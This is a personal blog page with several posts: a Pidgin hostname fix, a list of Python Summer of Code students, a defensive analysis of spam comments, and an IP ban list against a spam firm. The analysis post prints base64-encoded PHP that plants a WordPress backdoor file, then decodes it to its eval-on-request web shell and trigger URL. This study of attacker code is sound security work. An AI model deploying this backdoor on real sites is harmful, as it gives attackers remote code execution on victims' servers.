terriko: (Default)
With all the noise about google switching away from XMPP, I was pretty concerned when Pidgin stopped connecting to Google Hangouts (aka gtalk or xmpp) with the following error:

"Server does not use any supported authentication method"

I wasted some time updating things hoping that would solve it before I finally figured out my problem: It wsn't google changing things at all; it was me. I'd changed the hostname of my (relatively new) laptop. But what I hadn't done was put the new hostname into /etc/hosts under 127.0.0.1. A quick edit later, and the newly christened laptop is back on the air.

I found the solution here, but I had to dig for it a bit so I'm puting up this post that shortcuts to the answer without the debugging, just in case anyone else runs into this one and needs help.
terriko: (Default)
One of the things that Python asks of all students under our "umbrella" is that they blog regularly about their projects. This helps me keep track of how all the students are doing, and helps advertise the interesting work they'll be doing to a larger community. I've set up a blog aggregator here for Python's Summer of Code Updates and you can see that folk are already talking about their projects as they settle in.

Coding starts June 17th. Here's to a great summer!
terriko: (Pi)
The Python Software Foundation has 36 Google Summer of Code students starting next week!

If you'd like to learn more about any of the student projects as they were proposed, you can also see the list and descriptions on the GSoC Website. But here's a list, grouped by project:


Core Python
Phil Webster, IDLE Improvements
Jayakrishnan Rajagopalasarma, IDLE Improvements




ASCEND
Ksenija Bestuzheva, ASCEND: dynamic modelling improvements
Pallav Tinna, Porting to gtk3 and GUI improvements




Astropy
Madhura Parikh, Astropy: Develop the Astroquery toolkit into a coherent package
Axel Donath, AstroPy: Extending the functionality of the photutils package.



GNU Mailman
Manish Gill, Mailman: Authenticated REST-API in Postorius/Django.
Abhilash Raj, GNU Mailman - Integration of OpenPGP




Kivy
Abhinav, Kivy: Kivy Designer
Ivan Pusic, PyOBJus



MNE-Python
Mainak Jas, Real-time Machine Learning for MEG in MNE-Python
Roman Goj, MNE-Python: Implement time-frequency beamformers




OpenHatch
David Lu, Data Driven Mentorship App
Tarashish Mishra, OpenHatch: Rewrite training missions using oppia (Training missions, version 2)



PyDy
Tarun Gaba, PyDy: Visualization of the simulated motion of multibody systems
Tyler Wade, wxPython Bindings for PyPy using CFFI




PyPy
Manuel Jacob, Implementing Python 3.3 features for PyPy




Pyramid
Andraž Brodnik, Better Debug tools
Domen Kožar, Substance D improvements




PySoy
Juhani Åhman, PySoy: Improve Android and HTML5 Soy clients




Scikit-Image
Chintak Sheth, scikit-image: Image Inpainting for Restoration
Marc de Klerk, scikit-image: Segmentation Algorithms as a basis for an OpenCL feasible study
Ankit Agrawal, scikit-image : Implementation of STAR and Binary Feature Detectors and Descriptors



Scikit-learn
Kemal Eren, scikit-learn: Biclustering algorithms, scoring, and data generation
Nicolas Trésegnie, Scikit-learn : online low rank matrix completion


SciPy
Surya Kasturi, SciPy: Improving functionality and Maintainability of SciPy Central
Arink Verma, SciPy/NumPy : Performance parity between numpy arrays and Python scalars
Blake Griffith, Improvements to the sparse package of Scipy: support for bool dtype and better interaction with NumPy




SfePy
Ankit Mahato, SfePy: Enhancing the solver to simulate solid-liquid phase change phenomenon in convective-diffusive situations


Statsmodels
Ana Martínez Pardo, Statsmodels: Discrete choice models
Chad Fulton, Statsmodels: Time Series Analysis Extensions (esp. regime-switching models)


SunPy
Michael J. Malocha, SunPy - Interfacing with Heliocphysics Databases
Simon Liedtke, SunPy: Database of local data



Tahoe-LAFS
Mark Berger, Upload Strategy of Happiness in Tahoe-LAFS


Twisted
Shiyao Ma,Twisted: Switching to Formal Parsers
Kai Zhang,Twisted: Deferred Cancellation

We had a great number of talented applicants and I only wish we'd been able to take more of them. Congratulations to those accepted and to the rest of you, I hope you'll apply again next year!
terriko: (Default)
WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.


So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));


Or this clearly related one (note that the top of the string is the same):

aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:


>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"


(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=


You might think we're getting close now, but here's what you get out of decoding that:


>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"


Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));


So let's stick together those concatenated strings again:


if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));



Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
terriko: (Pi)
I maintain a couple of blogs outside of this one, and the most popular one I'm involved with gets a lot of spam. There seemed to be a particular uptick about a month back, and I went to look into it.

What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.

Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.

Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.

Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have

# IPTelligent owns these ips, and they seem to be a spam company
96.47.225.*
173.44.37.*
96.47.224.*


Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).

Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)

For the record, here's the company info as I get from the whois database right now:

OrgName:        IPTelligent LLC
OrgId:          IPTEL-1
Address:        2115 NW 22nd Street
Address:        #C110
City:           Miami
StateProv:      FL
PostalCode:     33142
Country:        US
RegDate:        2009-03-31
Updated:        2012-07-16
Ref:            http://whois.arin.net/rest/org/IPTEL-1

ReferralServer: rwhois://rwhois.iptelligent.com:4321

OrgNOCHandle: NOC3572-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-888-638-5893
OrgNOCEmail:  sysop@iptelligent.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC3572-ARIN
Page generated Jul. 28th, 2017 04:43 am
Powered by Dreamwidth Studios